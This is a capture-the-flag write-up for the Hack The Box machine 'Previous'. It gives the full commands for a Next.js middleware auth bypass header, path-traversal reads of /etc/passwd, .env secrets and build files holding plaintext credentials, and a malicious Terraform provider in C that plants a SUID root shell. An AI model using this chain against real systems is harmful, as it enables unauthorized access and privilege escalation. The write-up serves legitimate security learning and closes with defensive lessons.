Machine: Previous
Platform: Hack The Box
Difficulty: Medium
OS: Linux
Focus: Next.js middleware auth bypass, LFI with secret leakage, credential extraction, and privilege escalation via Terraform plugin hijacking
Executive Summary
Previous is a Linux machine that exposes real-world vulnerabilities in modern web applications.
The attack chain includes:
- Next.js middleware authorization bypass (CVE-2025-29927)
- Local File Inclusion (LFI) through an insecure download endpoint
- Information disclosure and credential leakage
- Privilege escalation via Terraform provider hijacking
This write-up walks through each issue and shows practical exploitation techniques.
Enumeration
Port Scanning
We start with a full scan to identify exposed services:
nmap -p- -sC -sV --open -oN nmap/previous.txt 10.10.11.83
Result:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Only two ports are open: SSH (22) and HTTP (80).
Web Enumeration
To identify the stack, we check headers and content:
curl -sI http://10.10.11.83 | rg -i 'server|x-powered-by|location'
Obtained:
- Server: nginx/1.18.0 (Ubuntu)
- Application: Next.js (via
X-Powered-By) - Redirects to:
http://previous.htb/
We also look for exposed emails in the page source:
curl -s http://10.10.11.83 | rg -o 'jeremy@previous\.htb'
We find jeremy@previous.htb.
Add the host locally:
printf '10.10.11.83 previous.htb\n' | sudo tee -a /etc/hosts > /dev/null
Using Wappalyzer we confirm the Next.js version:
next: 15.2.2
Route Discovery
We enumerate directories with FFUF:
ffuf -u http://previous.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,307,308
Relevant results:
200 - http://previous.htb/
200 - http://previous.htb/signin
307 - http://previous.htb/api
307 - http://previous.htb/docs
308 - http://previous.htb/cgi-bin/
The /docs endpoint returns 307, suggesting middleware-based protection.
Initial Access
Next.js Middleware Auth Bypass (CVE-2025-29927)
Next.js versions 11.1.4 through 15.2.2 allow middleware authorization bypass via a crafted header.
We add x-middleware-subrequest and access /docs without a valid session:
wget -qO- --header='x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://previous.htb/docs
Response:
<title>PreviousJS Docs</title>
<p>Logged in as <b>???</b></p>
The page loads, but we are authenticated as “???”: bypass confirmed.
Local File Inclusion (LFI)
Inside /docs/examples we find download links like:
/api/download?example=<filename>
We test path traversal to read /etc/passwd:
wget -qO- --header='x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
"http://previous.htb/api/download?example=../../../etc/passwd"
Output:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/
Important things:
nodehas shell access (/bin/sh)nextjshas no shell assigned- SSH is enabled (user
sshdpresent)
Information Gathering via LFI
Environment Variables
curl -s --header 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
"http://previous.htb/api/download?example=../../../app/.env"
Critical finding:
NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a
This secret is used to sign JWTs in NextAuth.
package.json
wget -qO- --header='x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
"http://previous.htb/api/download?example=../../../app/package.json"
{
"private": true,
"scripts": {
"dev": "next dev",
"build": "next build"
},
"dependencies": {
"@mdx-js/loader": "^3.1.0",
"@mdx-js/react": "^3.1.0",
"@next/mdx": "^15.3.0",
"@tailwindcss/postcss": "^4.1.3",
"@tailwindcss/typography": "^0.5.16",
"@types/mdx": "^2.0.13",
"next": "^15.2.2",
"next-auth": "^4.24.11",
"postcss": "^8.5.3",
"react": "^18.2.0",
"react-dom": "^18.2.0",
"tailwindcss": "^4.1.3"
},
"devDependencies": {
"@types/node": "22.14.0",
"@types/react": "19.1.0",
"typescript": "5.8.3"
}
}
/proc/self/environ
curl -s --header 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
"http://previous.htb/api/download?example=../../../proc/self/environ" | tr '\0' '\n'
Key variables:
NODE_VERSION=18.20.0
PORT=3000
NODE_ENV=production
Credential Discovery in the Next.js Build
Next.js production builds live in .next/.
This folder contains compiled server routes and bundles.
Routes Manifest
wget -qO- --header='x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
"http://previous.htb/api/download?example=../../../app/.next/routes-manifest.json"
{
"page": "/api/auth/[...nextauth]",
"regex": "^/api/auth/(.+?)(?:/)?$"
}
This points to the compiled file:
.next/server/pages/api/auth/[...nextauth].js
Extracting the Compiled JS
wget -qO nextauth.js --header='x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
"http://previous.htb/api/download?example=../../../app/.next/server/pages/api/auth/[...nextauth].js"
The raw file is minified and includes unrelated strings, for example:
Get Oussama Djelloul's stories in your inbox
Join Medium for free to get updates from this writer.
Enter your email
Subscribe
We use an online beautifier:
https://beautifier.io/
Credentials found after formatting:
username: "jeremy"
password: "MyNameIsJeremyAndILovePancakes"
User Flag
SSH Access
ssh -p 22 jeremy@previous.htb
Password:
MyNameIsJeremyAndILovePancakes
Flag Capture
head -n 1 user.txt
[USER_FLAG_HERE]
Privilege Escalation
Sudo Enumeration
sudo -l -U jeremy
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir=/opt/examples apply
We can run Terraform as root in a specific directory.
Command Verification
sudo /usr/bin/terraform -chdir=/opt/examples apply -no-color
Output:
Warning: Provider development overrides are in effect
The following provider development overrides are set in the CLI configuration:
- previous.htb/terraform/examples in /tmp
Error: Failed to load plugin schemas
Could not load the schema for provider previous.htb/terraform/examples:
failed to instantiate provider "previous.htb/terraform/examples":
Unrecognized remote plugin message
Additional notes about plugin:
Path: /tmp/terraform-provider-examples
Mode: -rwxrwxr-x
Owner: 1000 [jeremy] (current: 0 [root])
Group: 1000 [jeremy] (current: 0 [root])
Important things:
- Override path:
/tmp - Expected plugin name:
terraform-provider-examples - Executed as root, but controlled by
jeremy
This allows provider hijacking.
Exploitation Strategy
- Build a malicious binary using the provider’s expected name.
- Drop it into
/tmp/terraform-provider-examples. - Execute the sudo Terraform command.
- Terraform loads and runs the provider as root.
- The payload creates a SUID bash for privilege escalation.
Malicious Provider
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("cp /bin/bash /tmp/rootbash");
system("chmod +s /tmp/rootbash");
return 0;
}
Compilation and deployment:
cc -O2 /tmp/exploit.c -o /tmp/terraform-provider-examples
chmod 755 /tmp/terraform-provider-examples
stat -c '%A %U %G %n' /tmp/terraform-provider-examples
Example output:
-rwxr-xr-x jeremy jeremy /tmp/terraform-provider-examples
Execution and Root
sudo /usr/bin/terraform -chdir=/opt/examples apply -no-color
Verify the SUID bash:
stat -c '%A %U %G %n' /tmp/rootbash
-rwsr-sr-x root root /tmp/rootbash
Spawn a privileged shell:
/tmp/rootbash -p
id
Output:
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) egid=0(root) groups=0(root),1000(jeremy)
Root Flag
head -n 1 /root/root.txt
[ROOT_FLAG_HERE]
Lessons Learned
- Middleware auth is not a security boundary; enforce authorization at the route and API layer.
- Any file download endpoint must validate and normalize paths to prevent LFI.
- Secrets in
.envand build artifacts are high-impact exposure; isolate and restrict access. - Never embed plaintext credentials in compiled server bundles or configs.
- Terraform provider overrides in writable paths can become root RCE; lock down plugin paths.
Reference
This write-up is based on my own analysis and learning process.
Expanded notes, scripts, and references: https://github.com/lameiro0x/pentesting-path-htb